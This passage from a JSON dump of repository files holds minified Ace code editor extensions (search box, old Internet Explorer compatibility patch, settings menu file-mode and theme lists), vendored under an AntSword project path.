#dcdcdc;cursor: pointer;float: left;height: 22px;margin: 0;padding: 0;position: relative;}.ace_searchbtn:last-child,.ace_replacebtn:last-child {border-top-right-radius: 3px;border-bottom-right-radius: 3px;}.ace_searchbtn:disabled {background: none;cursor: default;}.ace_searchbtn {background-position: 50% 50%;background-repeat: no-repeat;width: 27px;}.ace_searchbtn.prev {background-image: url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAgAAAAFCAYAAAB4ka1VAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAADFJREFUeNpiSU1NZUAC/6E0I0yACYskCpsJiySKIiY0SUZk40FyTEgCjGgKwTRAgAEAQJUIPCE+qfkAAAAASUVORK5CYII=);    }.ace_searchbtn.next {background-image: url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAgAAAAFCAYAAAB4ka1VAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAADRJREFUeNpiTE1NZQCC/0DMyIAKwGJMUAYDEo3M/s+EpvM/mkKwCQxYjIeLMaELoLMBAgwAU7UJObTKsvAAAAAASUVORK5CYII=);    }.ace_searchbtn_close {background: url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAA4AAAAcCAYAAABRVo5BAAAAZ0lEQVR42u2SUQrAMAhDvazn8OjZBilCkYVVxiis8H4CT0VrAJb4WHT3C5xU2a2IQZXJjiQIRMdkEoJ5Q2yMqpfDIo+XY4k6h+YXOyKqTIj5REaxloNAd0xiKmAtsTHqW8sR2W5f7gCu5nWFUpVjZwAAAABJRU5ErkJggg==) no-repeat 50% 0;border-radius: 50%;border: 0 none;color: #656565;cursor: pointer;float: right;font: 16px/16px Arial;height: 14px;margin: 5px 1px 9px 5px;padding: 0;text-align: center;width: 14px;}.ace_searchbtn_close:hover {background-color: #656565;background-position: 50% 100%;color: white;}.ace_replacebtn.prev {width: 54px}.ace_replacebtn.next {width: 27px}.ace_button {margin-left: 2px;cursor: pointer;-webkit-user-select: none;-moz-user-select: none;-o-user-select: none;-ms-user-select: none;user-select: none;overflow: hidden;opacity: 0.7;border: 1px solid rgba(100,100,100,0.23);padding: 1px;-moz-box-sizing: border-box;box-sizing:    border-box;color: black;}.ace_button:hover {background-color: #eee;opacity:1;}.ace_button:active {background-color: #ddd;}.ace_button.checked {border-color: #3399ff;opacity:1;}.ace_search_options{margin-bottom: 3px;text-align: right;-webkit-user-select: none;-moz-user-select: none;-o-user-select: none;-ms-user-select: none;user-select: none;}\",u=e(\"../keyboard/hash_handler\").HashHandler,a=e(\"../lib/keys\");r.importCssString(o,\"ace_searchbox\");var f='<div class=\"ace_search right\">    <button type=\"button\" action=\"hide\" class=\"ace_searchbtn_close\"></button>    <div class=\"ace_search_form\">        <input class=\"ace_search_field\" placeholder=\"Search for\" spellcheck=\"false\"></input>        <button type=\"button\" action=\"findNext\" class=\"ace_searchbtn next\"></button>        <button type=\"button\" action=\"findPrev\" class=\"ace_searchbtn prev\"></button>        <button type=\"button\" action=\"findAll\" class=\"ace_searchbtn\" title=\"Alt-Enter\">All</button>    </div>    <div class=\"ace_replace_form\">        <input class=\"ace_search_field\" placeholder=\"Replace with\" spellcheck=\"false\"></input>        <button type=\"button\" action=\"replaceAndFindNext\" class=\"ace_replacebtn\">Replace</button>        <button type=\"button\" action=\"replaceAll\" class=\"ace_replacebtn\">All</button>    </div>    <div class=\"ace_search_options\">        <span action=\"toggleRegexpMode\" class=\"ace_button\" title=\"RegExp Search\">.*</span>        <span action=\"toggleCaseSensitive\" class=\"ace_button\" title=\"CaseSensitive Search\">Aa</span>        <span action=\"toggleWholeWords\" class=\"ace_button\" title=\"Whole Word Search\">\\\\b</span>    </div></div>'.replace(/>\\s+/g,\">\"),l=function(e,t,n){var i=r.createElement(\"div\");i.innerHTML=f,this.element=i.firstChild,this.$init(),this.setEditor(e)};(function(){this.setEditor=function(e){e.searchBox=this,e.container.appendChild(this.element),this.editor=e},this.$initElements=function(e){this.searchBox=e.querySelector(\".ace_search_form\"),this.replaceBox=e.querySelector(\".ace_replace_form\"),this.searchOptions=e.querySelector(\".ace_search_options\"),this.regExpOption=e.querySelector(\"[action=toggleRegexpMode]\"),this.caseSensitiveOption=e.querySelector(\"[action=toggleCaseSensitive]\"),this.wholeWordOption=e.querySelector(\"[action=toggleWholeWords]\"),this.searchInput=this.searchBox.querySelector(\".ace_search_field\"),this.replaceInput=this.replaceBox.querySelector(\".ace_search_field\")},this.$init=function(){var e=this.element;this.$initElements(e);var t=this;s.addListener(e,\"mousedown\",function(e){setTimeout(function(){t.activeInput.focus()},0),s.stopPropagation(e)}),s.addListener(e,\"click\",function(e){var n=e.target||e.srcElement,r=n.getAttribute(\"action\");r&&t[r]?t[r]():t.$searchBarKb.commands[r]&&t.$searchBarKb.commands[r].exec(t),s.stopPropagation(e)}),s.addCommandKeyListener(e,function(e,n,r){var i=a.keyCodeToString(r),o=t.$searchBarKb.findKeyCommand(n,i);o&&o.exec&&(o.exec(t),s.stopEvent(e))}),this.$onChange=i.delayedCall(function(){t.find(!1,!1)}),s.addListener(this.searchInput,\"input\",function(){t.$onChange.schedule(20)}),s.addListener(this.searchInput,\"focus\",function(){t.activeInput=t.searchInput,t.searchInput.value&&t.highlight()}),s.addListener(this.replaceInput,\"focus\",function(){t.activeInput=t.replaceInput,t.searchInput.value&&t.highlight()})},this.$closeSearchBarKb=new u([{bindKey:\"Esc\",name:\"closeSearchBar\",exec:function(e){e.searchBox.hide()}}]),this.$searchBarKb=new u,this.$searchBarKb.bindKeys({\"Ctrl-f|Command-f|Ctrl-H|Command-Option-F\":function(e){var t=e.isReplace=!e.isReplace;e.replaceBox.style.display=t?\"\":\"none\",e[t?\"replaceInput\":\"searchInput\"].focus()},\"Ctrl-G|Command-G\":function(e){e.findNext()},\"Ctrl-Shift-G|Command-Shift-G\":function(e){e.findPrev()},esc:function(e){setTimeout(function(){e.hide()})},Return:function(e){e.activeInput==e.replaceInput&&e.replace(),e.findNext()},\"Shift-Return\":function(e){e.activeInput==e.replaceInput&&e.replace(),e.findPrev()},\"Alt-Return\":function(e){e.activeInput==e.replaceInput&&e.replaceAll(),e.findAll()},Tab:function(e){(e.activeInput==e.replaceInput?e.searchInput:e.replaceInput).focus()}}),this.$searchBarKb.addCommands([{name:\"toggleRegexpMode\",bindKey:{win:\"Alt-R|Alt-/\",mac:\"Ctrl-Alt-R|Ctrl-Alt-/\"},exec:function(e){e.regExpOption.checked=!e.regExpOption.checked,e.$syncOptions()}},{name:\"toggleCaseSensitive\",bindKey:{win:\"Alt-C|Alt-I\",mac:\"Ctrl-Alt-R|Ctrl-Alt-I\"},exec:function(e){e.caseSensitiveOption.checked=!e.caseSensitiveOption.checked,e.$syncOptions()}},{name:\"toggleWholeWords\",bindKey:{win:\"Alt-B|Alt-W\",mac:\"Ctrl-Alt-B|Ctrl-Alt-W\"},exec:function(e){e.wholeWordOption.checked=!e.wholeWordOption.checked,e.$syncOptions()}}]),this.$syncOptions=function(){r.setCssClass(this.regExpOption,\"checked\",this.regExpOption.checked),r.setCssClass(this.wholeWordOption,\"checked\",this.wholeWordOption.checked),r.setCssClass(this.caseSensitiveOption,\"checked\",this.caseSensitiveOption.checked),this.find(!1,!1)},this.highlight=function(e){this.editor.session.highlight(e||this.editor.$search.$options.re),this.editor.renderer.updateBackMarkers()},this.find=function(e,t){var n=this.editor.find(this.searchInput.value,{skipCurrent:e,backwards:t,wrap:!0,regExp:this.regExpOption.checked,caseSensitive:this.caseSensitiveOption.checked,wholeWord:this.wholeWordOption.checked}),i=!n&&this.searchInput.value;r.setCssClass(this.searchBox,\"ace_nomatch\",i),this.editor._emit(\"findSearchBox\",{match:!i}),this.highlight()},this.findNext=function(){this.find(!0,!1)},this.findPrev=function(){this.find(!0,!0)},this.findAll=function(){var e=this.editor.findAll(this.searchInput.value,{regExp:this.regExpOption.checked,caseSensitive:this.caseSensitiveOption.checked,wholeWord:this.wholeWordOption.checked}),t=!e&&this.searchInput.value;r.setCssClass(this.searchBox,\"ace_nomatch\",t),this.editor._emit(\"findSearchBox\",{match:!t}),this.highlight(),this.hide()},this.replace=function(){this.editor.getReadOnly()||this.editor.replace(this.replaceInput.value)},this.replaceAndFindNext=function(){this.editor.getReadOnly()||(this.editor.replace(this.replaceInput.value),this.findNext())},this.replaceAll=function(){this.editor.getReadOnly()||this.editor.replaceAll(this.replaceInput.value)},this.hide=function(){this.element.style.display=\"none\",this.editor.keyBinding.removeKeyboardHandler(this.$closeSearchBarKb),this.editor.focus()},this.show=function(e,t){this.element.style.display=\"\",this.replaceBox.style.display=t?\"\":\"none\",this.isReplace=t,e&&(this.searchInput.value=e),this.searchInput.focus(),this.searchInput.select(),this.editor.keyBinding.addKeyboardHandler(this.$closeSearchBarKb)},this.isFocused=function(){var e=document.activeElement;return e==this.searchInput||e==this.replaceInput}}).call(l.prototype),t.SearchBox=l,t.Search=function(e,t){var n=e.searchBox||new l(e);n.show(e.session.getTextRange(),t)}}),ace.define(\"ace/ext/old_ie\",[\"require\",\"exports\",\"module\",\"ace/lib/useragent\",\"ace/tokenizer\",\"ace/ext/searchbox\",\"ace/mode/text\"],function(require,exports,module){\"use strict\";function patch(obj,name,regexp,replacement){eval(\"obj['\"+name+\"']=\"+obj[name].toString().replace(regexp,replacement))}var MAX_TOKEN_COUNT=1e3,useragent=require(\"../lib/useragent\"),TokenizerModule=require(\"../tokenizer\");useragent.isIE&&useragent.isIE<10&&window.top.document.compatMode===\"BackCompat\"&&(useragent.isOldIE=!0);if(typeof document!=\"undefined\"&&!document.documentElement.querySelector){useragent.isOldIE=!0;var qs=function(e,t){if(t.charAt(0)==\".\")var n=t.slice(1);else var r=t.match(/(\\w+)=(\\w+)/),i=r&&r[1],s=r&&r[2];for(var o=0;o<e.all.length;o++){var u=e.all[o];if(n){if(u.className.indexOf(n)!=-1)return u}else if(i&&u.getAttribute(i)==s)return u}},sb=require(\"./searchbox\").SearchBox.prototype;patch(sb,\"$initElements\",/([^\\s=]*).querySelector\\((\".*?\")\\)/g,\"qs($1, $2)\")}var compliantExecNpcg=/()??/.exec(\"\")[1]===undefined;if(compliantExecNpcg)return;var proto=TokenizerModule.Tokenizer.prototype;TokenizerModule.Tokenizer_orig=TokenizerModule.Tokenizer,proto.getLineTokens_orig=proto.getLineTokens,patch(TokenizerModule,\"Tokenizer\",\"ruleRegExps.push(adjustedregex);\\n\",function(e){return e+'        if (state[i].next && RegExp(adjustedregex).test(\"\"))\\n            rule._qre = RegExp(adjustedregex, \"g\");\\n        '}),TokenizerModule.Tokenizer.prototype=proto,patch(proto,\"getLineTokens\",/if \\(match\\[i \\+ 1\\] === undefined\\)\\s*continue;/,\"if (!match[i + 1]) {\\n        if (value)continue;\\n        var qre = state[mapping[i]]._qre;\\n        if (!qre) continue;\\n        qre.lastIndex = lastIndex;\\n        if (!qre.exec(line) || qre.lastIndex != lastIndex)\\n            continue;\\n    }\"),patch(require(\"../mode/text\").Mode.prototype,\"getTokenizer\",/Tokenizer/,\"TokenizerModule.Tokenizer\"),useragent.isOldIE=!0});\n                (function() {\n                    ace.require([\"ace/ext/old_ie\"], function() {});\n                })();\n            "
  },
  {
    "path": "antSword/static/libs/ace/ext-searchbox.js",
    "content": "ace.define(\"ace/ext/searchbox\",[\"require\",\"exports\",\"module\",\"ace/lib/dom\",\"ace/lib/lang\",\"ace/lib/event\",\"ace/keyboard/hash_handler\",\"ace/lib/keys\"],function(e,t,n){\"use strict\";var r=e(\"../lib/dom\"),i=e(\"../lib/lang\"),s=e(\"../lib/event\"),o=\".ace_search {background-color: #ddd;border: 1px solid #cbcbcb;border-top: 0 none;max-width: 325px;overflow: hidden;margin: 0;padding: 4px;padding-right: 6px;padding-bottom: 0;position: absolute;top: 0px;z-index: 99;white-space: normal;}.ace_search.left {border-left: 0 none;border-radius: 0px 0px 5px 0px;left: 0;}.ace_search.right {border-radius: 0px 0px 0px 5px;border-right: 0 none;right: 0;}.ace_search_form, .ace_replace_form {border-radius: 3px;border: 1px solid #cbcbcb;float: left;margin-bottom: 4px;overflow: hidden;}.ace_search_form.ace_nomatch {outline: 1px solid red;}.ace_search_field {background-color: white;border-right: 1px solid #cbcbcb;border: 0 none;-webkit-box-sizing: border-box;-moz-box-sizing: border-box;box-sizing: border-box;float: left;height: 22px;outline: 0;padding: 0 7px;width: 214px;margin: 0;}.ace_searchbtn,.ace_replacebtn {background: #fff;border: 0 none;border-left: 1px solid #dcdcdc;cursor: pointer;float: left;height: 22px;margin: 0;padding: 0;position: relative;}.ace_searchbtn:last-child,.ace_replacebtn:last-child {border-top-right-radius: 3px;border-bottom-right-radius: 3px;}.ace_searchbtn:disabled {background: none;cursor: default;}.ace_searchbtn {background-position: 50% 50%;background-repeat: no-repeat;width: 27px;}.ace_searchbtn.prev {background-image: url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAgAAAAFCAYAAAB4ka1VAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAADFJREFUeNpiSU1NZUAC/6E0I0yACYskCpsJiySKIiY0SUZk40FyTEgCjGgKwTRAgAEAQJUIPCE+qfkAAAAASUVORK5CYII=);    }.ace_searchbtn.next {background-image: url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAgAAAAFCAYAAAB4ka1VAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAADRJREFUeNpiTE1NZQCC/0DMyIAKwGJMUAYDEo3M/s+EpvM/mkKwCQxYjIeLMaELoLMBAgwAU7UJObTKsvAAAAAASUVORK5CYII=);    }.ace_searchbtn_close {background: url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAA4AAAAcCAYAAABRVo5BAAAAZ0lEQVR42u2SUQrAMAhDvazn8OjZBilCkYVVxiis8H4CT0VrAJb4WHT3C5xU2a2IQZXJjiQIRMdkEoJ5Q2yMqpfDIo+XY4k6h+YXOyKqTIj5REaxloNAd0xiKmAtsTHqW8sR2W5f7gCu5nWFUpVjZwAAAABJRU5ErkJggg==) no-repeat 50% 0;border-radius: 50%;border: 0 none;color: #656565;cursor: pointer;float: right;font: 16px/16px Arial;height: 14px;margin: 5px 1px 9px 5px;padding: 0;text-align: center;width: 14px;}.ace_searchbtn_close:hover {background-color: #656565;background-position: 50% 100%;color: white;}.ace_replacebtn.prev {width: 54px}.ace_replacebtn.next {width: 27px}.ace_button {margin-left: 2px;cursor: pointer;-webkit-user-select: none;-moz-user-select: none;-o-user-select: none;-ms-user-select: none;user-select: none;overflow: hidden;opacity: 0.7;border: 1px solid rgba(100,100,100,0.23);padding: 1px;-moz-box-sizing: border-box;box-sizing:    border-box;color: black;}.ace_button:hover {background-color: #eee;opacity:1;}.ace_button:active {background-color: #ddd;}.ace_button.checked {border-color: #3399ff;opacity:1;}.ace_search_options{margin-bottom: 3px;text-align: right;-webkit-user-select: none;-moz-user-select: none;-o-user-select: none;-ms-user-select: none;user-select: none;}\",u=e(\"../keyboard/hash_handler\").HashHandler,a=e(\"../lib/keys\");r.importCssString(o,\"ace_searchbox\");var f='<div class=\"ace_search right\">    <button type=\"button\" action=\"hide\" class=\"ace_searchbtn_close\"></button>    <div class=\"ace_search_form\">        <input class=\"ace_search_field\" placeholder=\"Search for\" spellcheck=\"false\"></input>        <button type=\"button\" action=\"findNext\" class=\"ace_searchbtn next\"></button>        <button type=\"button\" action=\"findPrev\" class=\"ace_searchbtn prev\"></button>        <button type=\"button\" action=\"findAll\" class=\"ace_searchbtn\" title=\"Alt-Enter\">All</button>    </div>    <div class=\"ace_replace_form\">        <input class=\"ace_search_field\" placeholder=\"Replace with\" spellcheck=\"false\"></input>        <button type=\"button\" action=\"replaceAndFindNext\" class=\"ace_replacebtn\">Replace</button>        <button type=\"button\" action=\"replaceAll\" class=\"ace_replacebtn\">All</button>    </div>    <div class=\"ace_search_options\">        <span action=\"toggleRegexpMode\" class=\"ace_button\" title=\"RegExp Search\">.*</span>        <span action=\"toggleCaseSensitive\" class=\"ace_button\" title=\"CaseSensitive Search\">Aa</span>        <span action=\"toggleWholeWords\" class=\"ace_button\" title=\"Whole Word Search\">\\\\b</span>    </div></div>'.replace(/>\\s+/g,\">\"),l=function(e,t,n){var i=r.createElement(\"div\");i.innerHTML=f,this.element=i.firstChild,this.$init(),this.setEditor(e)};(function(){this.setEditor=function(e){e.searchBox=this,e.container.appendChild(this.element),this.editor=e},this.$initElements=function(e){this.searchBox=e.querySelector(\".ace_search_form\"),this.replaceBox=e.querySelector(\".ace_replace_form\"),this.searchOptions=e.querySelector(\".ace_search_options\"),this.regExpOption=e.querySelector(\"[action=toggleRegexpMode]\"),this.caseSensitiveOption=e.querySelector(\"[action=toggleCaseSensitive]\"),this.wholeWordOption=e.querySelector(\"[action=toggleWholeWords]\"),this.searchInput=this.searchBox.querySelector(\".ace_search_field\"),this.replaceInput=this.replaceBox.querySelector(\".ace_search_field\")},this.$init=function(){var e=this.element;this.$initElements(e);var t=this;s.addListener(e,\"mousedown\",function(e){setTimeout(function(){t.activeInput.focus()},0),s.stopPropagation(e)}),s.addListener(e,\"click\",function(e){var n=e.target||e.srcElement,r=n.getAttribute(\"action\");r&&t[r]?t[r]():t.$searchBarKb.commands[r]&&t.$searchBarKb.commands[r].exec(t),s.stopPropagation(e)}),s.addCommandKeyListener(e,function(e,n,r){var i=a.keyCodeToString(r),o=t.$searchBarKb.findKeyCommand(n,i);o&&o.exec&&(o.exec(t),s.stopEvent(e))}),this.$onChange=i.delayedCall(function(){t.find(!1,!1)}),s.addListener(this.searchInput,\"input\",function(){t.$onChange.schedule(20)}),s.addListener(this.searchInput,\"focus\",function(){t.activeInput=t.searchInput,t.searchInput.value&&t.highlight()}),s.addListener(this.replaceInput,\"focus\",function(){t.activeInput=t.replaceInput,t.searchInput.value&&t.highlight()})},this.$closeSearchBarKb=new u([{bindKey:\"Esc\",name:\"closeSearchBar\",exec:function(e){e.searchBox.hide()}}]),this.$searchBarKb=new u,this.$searchBarKb.bindKeys({\"Ctrl-f|Command-f|Ctrl-H|Command-Option-F\":function(e){var t=e.isReplace=!e.isReplace;e.replaceBox.style.display=t?\"\":\"none\",e[t?\"replaceInput\":\"searchInput\"].focus()},\"Ctrl-G|Command-G\":function(e){e.findNext()},\"Ctrl-Shift-G|Command-Shift-G\":function(e){e.findPrev()},esc:function(e){setTimeout(function(){e.hide()})},Return:function(e){e.activeInput==e.replaceInput&&e.replace(),e.findNext()},\"Shift-Return\":function(e){e.activeInput==e.replaceInput&&e.replace(),e.findPrev()},\"Alt-Return\":function(e){e.activeInput==e.replaceInput&&e.replaceAll(),e.findAll()},Tab:function(e){(e.activeInput==e.replaceInput?e.searchInput:e.replaceInput).focus()}}),this.$searchBarKb.addCommands([{name:\"toggleRegexpMode\",bindKey:{win:\"Alt-R|Alt-/\",mac:\"Ctrl-Alt-R|Ctrl-Alt-/\"},exec:function(e){e.regExpOption.checked=!e.regExpOption.checked,e.$syncOptions()}},{name:\"toggleCaseSensitive\",bindKey:{win:\"Alt-C|Alt-I\",mac:\"Ctrl-Alt-R|Ctrl-Alt-I\"},exec:function(e){e.caseSensitiveOption.checked=!e.caseSensitiveOption.checked,e.$syncOptions()}},{name:\"toggleWholeWords\",bindKey:{win:\"Alt-B|Alt-W\",mac:\"Ctrl-Alt-B|Ctrl-Alt-W\"},exec:function(e){e.wholeWordOption.checked=!e.wholeWordOption.checked,e.$syncOptions()}}]),this.$syncOptions=function(){r.setCssClass(this.regExpOption,\"checked\",this.regExpOption.checked),r.setCssClass(this.wholeWordOption,\"checked\",this.wholeWordOption.checked),r.setCssClass(this.caseSensitiveOption,\"checked\",this.caseSensitiveOption.checked),this.find(!1,!1)},this.highlight=function(e){this.editor.session.highlight(e||this.editor.$search.$options.re),this.editor.renderer.updateBackMarkers()},this.find=function(e,t){var n=this.editor.find(this.searchInput.value,{skipCurrent:e,backwards:t,wrap:!0,regExp:this.regExpOption.checked,caseSensitive:this.caseSensitiveOption.checked,wholeWord:this.wholeWordOption.checked}),i=!n&&this.searchInput.value;r.setCssClass(this.searchBox,\"ace_nomatch\",i),this.editor._emit(\"findSearchBox\",{match:!i}),this.highlight()},this.findNext=function(){this.find(!0,!1)},this.findPrev=function(){this.find(!0,!0)},this.findAll=function(){var e=this.editor.findAll(this.searchInput.value,{regExp:this.regExpOption.checked,caseSensitive:this.caseSensitiveOption.checked,wholeWord:this.wholeWordOption.checked}),t=!e&&this.searchInput.value;r.setCssClass(this.searchBox,\"ace_nomatch\",t),this.editor._emit(\"findSearchBox\",{match:!t}),this.highlight(),this.hide()},this.replace=function(){this.editor.getReadOnly()||this.editor.replace(this.replaceInput.value)},this.replaceAndFindNext=function(){this.editor.getReadOnly()||(this.editor.replace(this.replaceInput.value),this.findNext())},this.replaceAll=function(){this.editor.getReadOnly()||this.editor.replaceAll(this.replaceInput.value)},this.hide=function(){this.element.style.display=\"none\",this.editor.keyBinding.removeKeyboardHandler(this.$closeSearchBarKb),this.editor.focus()},this.show=function(e,t){this.element.style.display=\"\",this.replaceBox.style.display=t?\"\":\"none\",this.isReplace=t,e&&(this.searchInput.value=e),this.searchInput.focus(),this.searchInput.select(),this.editor.keyBinding.addKeyboardHandler(this.$closeSearchBarKb)},this.isFocused=function(){var e=document.activeElement;return e==this.searchInput||e==this.replaceInput}}).call(l.prototype),t.SearchBox=l,t.Search=function(e,t){var n=e.searchBox||new l(e);n.show(e.session.getTextRange(),t)}});\n                (function() {\n                    ace.require([\"ace/ext/searchbox\"], function() {});\n                })();\n            "
  },
  {
    "path": "antSword/static/libs/ace/ext-settings_menu.js",
    "content": "ace.define(\"ace/ext/menu_tools/element_generator\",[\"require\",\"exports\",\"module\"],function(e,t,n){\"use strict\";n.exports.createOption=function(t){var n,r=document.createElement(\"option\");for(n in t)t.hasOwnProperty(n)&&(n===\"selected\"?r.setAttribute(n,t[n]):r[n]=t[n]);return r},n.exports.createCheckbox=function(t,n,r){var i=document.createElement(\"input\");return i.setAttribute(\"type\",\"checkbox\"),i.setAttribute(\"id\",t),i.setAttribute(\"name\",t),i.setAttribute(\"value\",n),i.setAttribute(\"class\",r),n&&i.setAttribute(\"checked\",\"checked\"),i},n.exports.createInput=function(t,n,r){var i=document.createElement(\"input\");return i.setAttribute(\"type\",\"text\"),i.setAttribute(\"id\",t),i.setAttribute(\"name\",t),i.setAttribute(\"value\",n),i.setAttribute(\"class\",r),i},n.exports.createLabel=function(t,n){var r=document.createElement(\"label\");return r.setAttribute(\"for\",n),r.textContent=t,r},n.exports.createSelection=function(t,r,i){var s=document.createElement(\"select\");return s.setAttribute(\"id\",t),s.setAttribute(\"name\",t),s.setAttribute(\"class\",i),r.forEach(function(e){s.appendChild(n.exports.createOption(e))}),s}}),ace.define(\"ace/ext/modelist\",[\"require\",\"exports\",\"module\"],function(e,t,n){\"use strict\";function i(e){var t=a.text,n=e.split(/[\\/\\\\]/).pop();for(var i=0;i<r.length;i++)if(r[i].supportsFile(n)){t=r[i];break}return t}var r=[],s=function(e,t,n){this.name=e,this.caption=t,this.mode=\"ace/mode/\"+e,this.extensions=n;if(/\\^/.test(n))var r=n.replace(/\\|(\\^)?/g,function(e,t){return\"$|\"+(t?\"^\":\"^.*\\\\.\")})+\"$\";else var r=\"^.*\\\\.(\"+n+\")$\";this.extRe=new RegExp(r,\"gi\")};s.prototype.supportsFile=function(e){return e.match(this.extRe)};var o={ABAP:[\"abap\"],ABC:[\"abc\"],ActionScript:[\"as\"],ADA:[\"ada|adb\"],Apache_Conf:[\"^htaccess|^htgroups|^htpasswd|^conf|htaccess|htgroups|htpasswd\"],AsciiDoc:[\"asciidoc|adoc\"],Assembly_x86:[\"asm\"],AutoHotKey:[\"ahk\"],BatchFile:[\"bat|cmd\"],C_Cpp:[\"cpp|c|cc|cxx|h|hh|hpp\"],C9Search:[\"c9search_results\"],Cirru:[\"cirru|cr\"],Clojure:[\"clj|cljs\"],Cobol:[\"CBL|COB\"],coffee:[\"coffee|cf|cson|^Cakefile\"],ColdFusion:[\"cfm\"],CSharp:[\"cs\"],CSS:[\"css\"],Curly:[\"curly\"],D:[\"d|di\"],Dart:[\"dart\"],Diff:[\"diff|patch\"],Dockerfile:[\"^Dockerfile\"],Dot:[\"dot\"],Dummy:[\"dummy\"],DummySyntax:[\"dummy\"],Eiffel:[\"e\"],EJS:[\"ejs\"],Elixir:[\"ex|exs\"],Elm:[\"elm\"],Erlang:[\"erl|hrl\"],Forth:[\"frt|fs|ldr\"],FTL:[\"ftl\"],Gcode:[\"gcode\"],Gherkin:[\"feature\"],Gitignore:[\"^.gitignore\"],Glsl:[\"glsl|frag|vert\"],golang:[\"go\"],Groovy:[\"groovy\"],HAML:[\"haml\"],Handlebars:[\"hbs|handlebars|tpl|mustache\"],Haskell:[\"hs\"],haXe:[\"hx\"],HTML:[\"html|htm|xhtml\"],HTML_Ruby:[\"erb|rhtml|html.erb\"],INI:[\"ini|conf|cfg|prefs\"],Io:[\"io\"],Jack:[\"jack\"],Jade:[\"jade\"],Java:[\"java\"],JavaScript:[\"js|jsm\"],JSON:[\"json\"],JSONiq:[\"jq\"],JSP:[\"jsp\"],JSX:[\"jsx\"],Julia:[\"jl\"],LaTeX:[\"tex|latex|ltx|bib\"],Lean:[\"lean|hlean\"],LESS:[\"less\"],Liquid:[\"liquid\"],Lisp:[\"lisp\"],LiveScript:[\"ls\"],LogiQL:[\"logic|lql\"],LSL:[\"lsl\"],Lua:[\"lua\"],LuaPage:[\"lp\"],Lucene:[\"lucene\"],Makefile:[\"^Makefile|^GNUmakefile|^makefile|^OCamlMakefile|make\"],Markdown:[\"md|markdown\"],Mask:[\"mask\"],MATLAB:[\"matlab\"],Maze:[\"mz\"],MEL:[\"mel\"],MUSHCode:[\"mc|mush\"],MySQL:[\"mysql\"],Nix:[\"nix\"],ObjectiveC:[\"m|mm\"],OCaml:[\"ml|mli\"],Pascal:[\"pas|p\"],Perl:[\"pl|pm\"],pgSQL:[\"pgsql\"],PHP:[\"php|phtml|shtml|php3|php4|php5|phps|phpt|aw|ctp\"],Powershell:[\"ps1\"],Praat:[\"praat|praatscript|psc|proc\"],Prolog:[\"plg|prolog\"],Properties:[\"properties\"],Protobuf:[\"proto\"],Python:[\"py\"],R:[\"r\"],RDoc:[\"Rd\"],RHTML:[\"Rhtml\"],Ruby:[\"rb|ru|gemspec|rake|^Guardfile|^Rakefile|^Gemfile\"],Rust:[\"rs\"],SASS:[\"sass\"],SCAD:[\"scad\"],Scala:[\"scala\"],Scheme:[\"scm|rkt\"],SCSS:[\"scss\"],SH:[\"sh|bash|^.bashrc\"],SJS:[\"sjs\"],Smarty:[\"smarty|tpl\"],snippets:[\"snippets\"],Soy_Template:[\"soy\"],Space:[\"space\"],SQL:[\"sql\"],SQLServer:[\"sqlserver\"],Stylus:[\"styl|stylus\"],SVG:[\"svg\"],Tcl:[\"tcl\"],Tex:[\"tex\"],Text:[\"txt\"],Textile:[\"textile\"],Toml:[\"toml\"],Twig:[\"twig\"],Typescript:[\"ts|typescript|str\"],Vala:[\"vala\"],VBScript:[\"vbs|vb\"],Velocity:[\"vm\"],Verilog:[\"v|vh|sv|svh\"],VHDL:[\"vhd|vhdl\"],XML:[\"xml|rdf|rss|wsdl|xslt|atom|mathml|mml|xul|xbl|xaml\"],XQuery:[\"xq\"],YAML:[\"yaml|yml\"],Django:[\"html\"]},u={ObjectiveC:\"Objective-C\",CSharp:\"C#\",golang:\"Go\",C_Cpp:\"C and C++\",coffee:\"CoffeeScript\",HTML_Ruby:\"HTML (Ruby)\",FTL:\"FreeMarker\"},a={};for(var f in o){var l=o[f],c=(u[f]||f).replace(/_/g,\" \"),h=f.toLowerCase(),p=new s(h,c,l[0]);a[h]=p,r.push(p)}n.exports={getModeForPath:i,modes:r,modesByName:a}}),ace.define(\"ace/ext/themelist\",[\"require\",\"exports\",\"module\",\"ace/lib/fixoldbrowsers\"],function(e,t,n){\"use strict\";e(\"ace/lib/fixoldbrowsers\");var r=[[\"Chrome\"],[\"Clouds\"],[\"Crimson Editor\"],[\"Dawn\"],[\"Dreamweaver\"],[\"Eclipse\"],[\"GitHub\"],[\"IPlastic\"],[\"Solarized Light\"],[\"TextMate\"],[\"Tomorrow\"],[\"XCode\"],[\"Kuroir\"],[\"KatzenMilch\"],[\"SQL Server\",\"sqlserver\",\"light\"],[\"Ambiance\",\"ambiance\",\"dark\"],[\"Chaos\",\"chaos\",\"dark\"],[\"Clouds Midnight\",\"clouds_midnight\",\"dark\"],[\"Cobalt\",\"cobalt\",\"dark\"],[\"idle Fingers\",\"idle_fingers\",\"dark\"],[\"krTheme\",\"kr_theme\",\"dark\"],[\"Merbivore\",\"merbivore\",\"dark\"],[\"Merbivore Soft\",\"merbivore_soft\",\"dark\"],[\"Mono Industrial\",\"mono_industrial\",\"dark\"],[\"Monokai\",\"monokai\",\"dark\"],[\"Pastel on dark\",\"pastel_on_dark\",\"dark\"],[\"Solarized Dark\",\"solarized_dark\",\"dark\"],[\"Terminal\",\"terminal\",\"dark\"],[\"Tomorrow Night\",\"tomorrow_night\",\"dark\"],[\"Tomorrow Night Blue\",\"tomorrow_night_blue\",\"dark\"],[\"Tomorrow Night Bright\",\"tomorrow_night_bright\",\"dark\"],[\"Tomorrow Night 80s\",\"tomorrow_night_eighties\",\"dark\"],[\"Twilight\",\"twilight\",\"dark\"],[\"Vibrant Ink\",\"vibrant_ink\",\"dark\"]];t.themesByName={},t.themes=r.map(function(e){var n=e[1]||e[0].replace(/ 